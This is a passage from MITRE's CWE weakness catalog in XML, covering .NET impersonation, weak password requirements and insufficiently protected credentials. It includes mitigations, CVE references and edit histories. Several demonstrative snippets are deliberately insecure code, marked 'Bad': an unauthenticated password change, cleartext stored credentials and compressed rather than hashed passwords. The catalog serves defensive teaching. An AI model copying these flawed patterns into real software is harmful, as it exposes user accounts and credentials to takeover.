               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Trailing Slash - /multiple/trailing/slash//</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="520" Name=".NET Misconfiguration: Use of Impersonation" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.</Description>
         <Extended_Description>.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="266" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Run the application with limited privilege to the underlying operating and file system.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">.NET Misconfiguration: Impersonation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="521" Name="Weak Password Requirements" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.</Description>
		 <Extended_Description>Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1391" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
			   <Note>Not enforcing the password policy stated in a products design can allow users to create passwords that do not provide the necessary level of protection.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could easily guess user passwords and gain access user accounts.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                 <xhtml:p>A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes:</xhtml:p>
                 <xhtml:ul>
                   <xhtml:li>Enforcement of a minimum and maximum length</xhtml:li>
                   <xhtml:li>Restrictions against password reuse</xhtml:li>
                   <xhtml:li>Restrictions against using common passwords</xhtml:li>
                   <xhtml:li>Restrictions against using contextual string in the password (e.g., user id, app name)</xhtml:li>
                 </xhtml:ul>
                 <xhtml:p>Depending on the threat model, the password policy may include several additional attributes.</xhtml:p>
                 <xhtml:ul>
                   <xhtml:li>Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case)
                     <xhtml:ul>
                       <xhtml:li>Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.</xhtml:li>
                       <xhtml:li>Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down).</xhtml:li>
                       <xhtml:li>Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols.</xhtml:li>
                     </xhtml:ul>
                   </xhtml:li>
                   <xhtml:li>Large Minimum Length (encouraging passphrases instead of passwords)
                     <xhtml:ul>
                       <xhtml:li>Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.</xhtml:li>
                       <xhtml:li>A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords.</xhtml:li>
                     </xhtml:ul>
                   </xhtml:li>
                   <xhtml:li>Randomly Chosen Secrets
                     <xhtml:ul>
                       <xhtml:li>Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used.</xhtml:li>
                       <xhtml:li>A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down.</xhtml:li>
                     </xhtml:ul>
                   </xhtml:li>
                   <xhtml:li>Password Expiration
                     <xhtml:ul>
                       <xhtml:li>Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations.</xhtml:li>
					   <xhtml:li>Password expiration may be a good mitigating technique when long complex passwords are not desired.</xhtml:li>
                     </xhtml:ul>
                   </xhtml:li>
                 </xhtml:ul>
                 <xhtml:p>See NIST 800-63B [REF-1053] for further information on password requirements.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider a second
                 authentication factor beyond the password, which prevents the
                 password from being a single point of failure. See CWE-308 for
                 further information.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.</Description>
            </Mitigation>
         </Potential_Mitigations>
	 <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2020-4574</Reference>
	     <Description>key server application does not require strong passwords</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2020-4574</Link>
	   </Observed_Example>
	 </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="112"/>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
            <Reference External_Reference_ID="REF-1053" Section="Sections: 5.1.1, 10.2.1, and Appendix A"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Modes_of_Introduction, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="522" Name="Insufficiently Protected Credentials" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could gain access to user accounts and access sensitive data used by the user accounts.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an appropriate security mechanism to protect the credentials.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make appropriate use of cryptography to protect the credentials.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-56">
               <Intro_Text>This code changes a user's password.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$user = $_GET['user'];<xhtml:br/>$pass = $_GET['pass'];<xhtml:br/>$checkpass = $_GET['checkpass'];<xhtml:br/>if ($pass == $checkpass) {<xhtml:div style="margin-left:1em;">SetUserPassword($user, $pass);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-57">
               <Intro_Text>The following code reads a password from a properties file and uses the password to connect to a database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>Properties prop = new Properties();<xhtml:br/>prop.load(new FileInputStream("config.properties"));<xhtml:br/>String password = prop.getProperty("password");<xhtml:br/>DriverManager.getConnection(url, usr, password);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-58">
               <Intro_Text>The following code reads a password from the registry and uses the password to create a new network credential.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String password = regKey.GetValue(passKey).toString();<xhtml:br/>NetworkCredential netCred = new NetworkCredential(username,password,domain);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-59">
               <Intro_Text>Both of these examples verify a password by comparing it to a stored compressed version.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">if (strcmp(compress(password), compressed_password)) {<xhtml:div style="margin-left:1em;">printf("Incorrect Password!\n");<xhtml:br/>return(0);</xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (passwd.Equals(compress(password), compressed_password)) {<xhtml:div style="margin-left:1em;">return(0);</xhtml:div>}<xhtml:br/>
                        <xhtml:i>//Diagnostic Mode</xhtml:i>
                        <xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
               <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
               <Body_Text>Multiple vendors used cleartext transmission or storage of passwords in their OT products.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29959</Reference>
               <Description>Initialization file contains  credentials that can be decoded using a "simple string transformation"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29959</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-35411</Reference>
               <Description>Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-35411</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29519</Reference>
               <Description>Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29519</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30312</Reference>
               <Description>Building Controller uses a protocol that transmits authentication credentials in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30312</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-31204</Reference>
               <Description>Programmable Logic Controller (PLC) sends password in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-31204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30275</Reference>
               <Description>Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0681</Reference>
               <Description>Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0681</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0944</Reference>
               <Description>Web application password change utility doesn't check the original password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0944</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3435</Reference>
               <Description>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3435</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0408</Reference>
               <Description>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0408</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="102"/>
            <Related_Attack_Pattern CAPEC_ID="474"/>
            <Related_Attack_Pattern CAPEC_ID="50"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="551"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="644"/>
            <Related_Attack_Pattern CAPEC_ID="645"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
